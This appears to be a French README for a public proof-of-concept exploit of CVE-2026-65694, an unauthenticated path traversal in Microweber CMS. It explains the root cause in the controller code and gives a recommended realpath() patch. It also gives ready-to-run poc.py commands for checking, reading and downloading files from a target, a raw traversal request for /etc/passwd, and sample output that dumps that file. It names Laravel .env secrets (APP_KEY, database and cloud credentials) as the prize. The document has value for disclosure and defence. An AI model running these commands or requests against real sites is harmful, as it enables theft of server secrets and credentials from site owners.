
PoC pour CVE-2026-65694 — Microweber CMS (<=2.0.20) traversée de chemin sans authentification → lecture arbitraire de fichiers (.env / secrets)
Preuve de concept pour CVE-2026-65694, une traversée de chemin sans authentification → lecture arbitraire de fichiers dans Microweber CMS.
Un attaquant non authentifié peut lire tout fichier accessible à l'utilisateur du serveur web — le .env Laravel (APP_KEY, identifiants de base de données, secrets mail/cloud), /etc/passwd, les journaux, les clés, la configuration non-.php, etc. — via la route publique GET /userfiles/{path}.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)master actuel (la ligne vulnérable est toujours présente)src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php
public function serveFromUserfiles(Request $request)
{
$path = $request->path; // <-- property read, NOT $request->path()
$path = normalize_path(userfiles_path() . $path, false); // <-- normalize_path() does NOT strip ".."
return $this->sendResponse($path, $request);
}
La route est enregistrée sans authentification :
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');
Deux problèmes se combinent :
$request->path (accès à la propriété, pas la méthode $request->path()) est résolu via Request::__get de Laravel → Arr::get($this->all(), 'path', fn() => $this->route('path')). Ainsi, un paramètre de requête ?path= remplace le segment de route {path} — et les valeurs de requête ne sont pas soumises à la normalisation .. du chemin d'URL qu'un navigateur/serveur applique.normalize_path() ne fait que réduire les slashes ; il ne supprime ni ne résout jamais .., et aucun contrôle ne vérifie que le chemin résolu reste dans userfiles_path(). La couche de fichiers de PHP résout ensuite les séquences .. sur le système de fichiers.Le contrôleur ne bloque que les extensions .php, .phtml et .php7 (skip_ext), donc le code source PHP n'est pas directement lisible — mais tout le reste l'est (.env, /etc/passwd, journaux, clés, bases SQLite, configuration JSON/YAML, …).
pip install -r requirements.txt
Exploitable sur tout déploiement utilisant la racine de documents public/ recommandée (le public/.htaccess fourni par Microweber, ou un contrôleur frontal nginx try_files $uri /index.php), où userfiles/ se trouve en dehors de la racine web et où /userfiles/* est transmis au routeur Laravel.
Trois actions :
python3 poc.py -u http://TARGET --check # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt # download a file to disk
La profondeur de traversée est détectée automatiquement (augmentation de ../ jusqu'à ce que le fichier soit servi) ; remplacez-la avec --depth N. Passez par Burp avec --proxy http://127.0.0.1:8080. Ajoutez -v pour la requête brute.
$ python3 poc.py -u http://target:8080 --check
Microweber CMS - Unauthenticated Arbitrary File Read
CVE-2026-65694 ( GET /userfiles/ ?path= traversal )
by Bobur Abdugafforov
[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)
$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)
La requête sous-jacente est simplement :
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target
Lecture arbitraire de fichiers sans authentification. La fuite du .env Laravel expose APP_KEY (falsification de session/cookie), les identifiants de base de données, le mot de passe mail et les clés cloud — compromettant effectivement l'intégralité des secrets de l'instance.
Lisez le paramètre de route lié au lieu de la propriété d'entrée, canonicalisez avec realpath(), et vérifiez que le chemin résolu reste dans userfiles_path() :
public function serveFromUserfiles(Request $request)
{
$requested = (string) $request->route('path');
$base = realpath(userfiles_path());
$path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
abort_if($base === false || $path === false
|| strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
return $this->sendResponse($path, $request);
}
Découvert et signalé par Bobur Abdugafforov. CVE-2026-65694 attribué via VulnCheck.
Réservé aux tests de sécurité autorisés et à un usage éducatif. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
| Flag | Action |
|---|
--check | Indique si la cible est vulnérable (oui/non), sans afficher de données |
-r, --read FILE | Lit un fichier et l'affiche sur stdout |
-d, --download FILE | Lit un fichier et l'enregistre localement (-o/--output définit le nom) |